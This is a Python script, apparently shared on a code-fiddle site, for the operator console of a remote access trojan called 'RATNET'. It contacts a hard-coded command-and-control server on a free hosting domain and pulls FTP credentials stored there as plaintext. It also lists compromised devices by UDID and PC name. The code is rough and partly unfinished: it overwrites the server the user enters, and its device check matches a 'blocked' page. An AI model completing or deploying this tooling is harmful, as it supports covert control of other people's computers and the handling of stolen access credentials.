Ratnet Module | Python Fiddle

#ADIANS RATNET For Python was Written by Daniel Blood
#This is a private source code tamplate to demostrate how the RAT System works
#This only works in Python 3, And has been tested in the latest build of Python (3.5.1)

#-------------------- The section of custom functions for the script --------------------
import urllib.request #Required for the REQUEST Function below
def request(url): #Downloads files using a URL into a string
	response = urllib.request.urlopen(url) #Gets the response
	data = response.read() #Reads the response
	text = data.decode( 'utf-8' ) #Decodes the data into  plain text (UTF-8)
	return text #Returns the data

#-------------------- The main module for connecting to a network --------------------
from sys import version_info #Gets the current Python Version Number
py3 = version_info [ 0 ] > 2 #Checks versio info
server = "" #Declares the string for public use
if py3 : #If Python version is 3.+
	print( "Written for ADIANS 6.6.6 R2" )
	print( "Module: RATNET" )
	print( "Written by Daniel Blood" )
	server = input ( "Server: " ) #Get user input for server
	server = "http://regionalism-wire.000webhostapp.com/libra/" #For debugging, Leave this line uncommented. so you don't need to enter the server every time during debugging
	response = request(server) #Gets the response from the server's index.
	found = "0" #Decalres the found string for use in this section
	for line in response.splitlines(): #Goes through each line in the response
		if line == "<title>BinaryHTTP Server</title>" : found = "1" #If the line contains <title>BinaryHTTP Server</title>, Found will be set to "1"
	if found == "1" : #If found = "1"
		print( "Server OK" ) #The Server is OK Because the string it was looking for above was found in the page, so that means this server is made for this module.
	else: #If found was anything else.
		print( "Server ERROR" ) 
		print( "The server is invalid." )
		import sys
		sys.exit() #Terminates the script because the server is invalid.
else: #If Python's version is not 3.+
	print("Error: This script requires Python3")
	import sys
	sys.exit() #Terminates the script because this script won't work with the current version of Python

#We will now download the information from the server.
NET_NAME = request(server + "/server_details/name.sqdat") #Gets the name of the network
print("SQLITE;NAME OK")
NET_HTTPADDRESS = request(server + "/server_details/httpaddress.sqdat") #Gets the real HTTP Address of the network (To avoid errors)
print("SQLITE;HTTPADDRESS OK")
NET_FTPUSERNAME = request(server + "/server_details/ftpusername.sqdat") #Gets the FTP Username for this network
print("SQLITE;FTPUSERNAME OK")
NET_FTPPASSWORD = request(server + "/server_details/ftppassword.sqdat") #Gets the FTP Password for this network
print("SQLITE;FTPPASSWORD OK")
NET_FTPHOST = request(server + "/server_details/ftphost.sqdat") #Gets the FTP Host for this network
print("SQLITE;FTPHOST OK")
NET_FTPDIRECTORY = request(server + "/server_details/ftpdirectory.sqdat") #Gets the directory on the FTP Server where this network is installed at.
print("SQLITE;FTPDIRECTORY OK")
print("The connection was established successfully") #Everything seems to have passed and the script has everything it needs to work with this network.

#-------------------- The start of the actual functions and commands for the network --------------------
def list_devices(): #Lists the devices that are on the network
	devices = request( server + "/devices.sqlite" ) #Downloads the list of devices
	for line in devices.splitlines(): #Goes through each line in the file
		print(line + " (" + request(server + "/devices/" + line + "/spdata/name.sqdat") + ")") #Prints out the UDID and gets the PC-Name from the UDID

def connect(): #Connects to a device
	udid = input("Device UDID: ") #Gets the UDID from User input
	device = request( server + "/devices/" + udid ) #Requests the device from the server
	valid = "0" #Declares the property
	for line in device.splitlines(): #Goes through each line from the request
		if line == "<p>The page you are trying to access to blocked. Sorry</p>" : valid = "1" #If the line has this then sets "Valid" to "1"
	if valid == "1": #If valid has been set to 1 then the device exists on the server
		print("Device exists!") #Prints out the message
	else: #If valid wasn't set to 1 then the device might not exist on the server
		print("device doesn't exist.") #Prints out the message

while True: #The main user input to access multiple commands
	user_input = input( "PYTHON/ADIANS/RATNET/" + NET_NAME.upper() + "_$> " ) #Gets the user input
	if user_input == "quit" : break #If the user input is "QUIT" then breaks the loop and exits the module
	elif user_input == "list devices" : list_devices() #If the user input is "LIST DEVICES" runs the code from list_devices()
	elif user_input == "connect" : connect() #if the user input is "CONNECT" runs the code from connect()
	else : print( "Unknown Command '" + user_input + "'" ) #If no other command matches above, Displays the unknown command message

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